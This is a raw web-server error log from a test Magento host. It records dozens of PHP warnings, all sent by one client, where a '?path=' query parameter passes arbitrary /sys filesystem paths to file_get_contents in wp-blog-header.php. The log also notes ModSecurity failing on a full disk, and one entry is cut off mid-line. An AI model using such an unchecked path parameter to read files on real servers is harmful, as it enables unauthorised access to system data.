[Thu Mar 26 12:12:05.796254 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 12:12:10.104547 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 12:12:11.766701 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:12:12.352550 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:12:12.883184 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:12:16.092122 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 12:12:16.623969 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/drivers/ec
[Thu Mar 26 12:12:17.621322 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:12:18.144289 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:ea
[Thu Mar 26 12:12:19.241353 2026] [php:warn] [pid 3216602] [client 74.7.241.26:49436] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ee
[Thu Mar 26 12:12:22.086246 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ec/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:12:29.351513 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:12:30.983491 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac
[Thu Mar 26 12:12:31.500607 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:ee
[Thu Mar 26 12:12:35.275298 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:de
[Thu Mar 26 12:12:37.339856 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/subsystem/devices/device:dc
[Thu Mar 26 12:12:38.921080 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec
[Thu Mar 26 12:12:40.534663 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:12:41.044114 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bd/subsystem/devices/device:ae
[Thu Mar 26 12:12:41.680421 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 12:12:44.250688 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ae/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:12:49.430360 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:12:52.108462 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 12:12:52.615029 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/drivers/ec
[Thu Mar 26 12:12:53.180162 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 12:12:53.763862 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 12:12:56.901016 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:ea
[Thu Mar 26 12:12:58.411212 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 12:13:00.439057 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 12:13:06.319600 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:ec
[Thu Mar 26 12:13:08.431310 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 12:13:08.990210 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:ce
[Thu Mar 26 12:13:10.586063 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/devices/device:ca
[Thu Mar 26 12:13:13.751593 2026] [php:warn] [pid 3216147] [client 74.7.241.26:44762] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:de
[Thu Mar 26 12:13:16.480649 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:ec
[Thu Mar 26 12:13:18.063299 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 12:13:19.715363 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:dd/device:de
[Thu Mar 26 12:13:23.605672 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fe
[Thu Mar 26 12:13:24.622982 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 12:13:29.969584 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 12:13:31.111765 2026] [:error] [pid 3216463] [client 74.7.241.26:55706] [client 74.7.241.26] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_id "acUU2sJzvKLZc2feSWDVIgAAAA4"], referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:bc
[Thu Mar 26 12:13:31.663949 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55706] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 12:13:31.664457 2026] [:error] [pid 3216463] [client 74.7.241.26:55706] [client 74.7.241.26] ModSecurity: Audit log: Failed writing (requested 15 bytes, written 0): No space left on device [hostname "forst-trento.test.indacotrentino.com"] [uri "/pub/index.php"] [unique_i[Thu Mar 26 14:01:46.380254 2026] [php:warn] [pid 3216613] [client 74.7.241.26:37082] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:3f/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:fd/subsystem/devices/device:3f
[Thu Mar 26 14:03:14.436861 2026] [php:warn] [pid 3216463] [client 74.7.241.26:55364] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:b2/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:b2
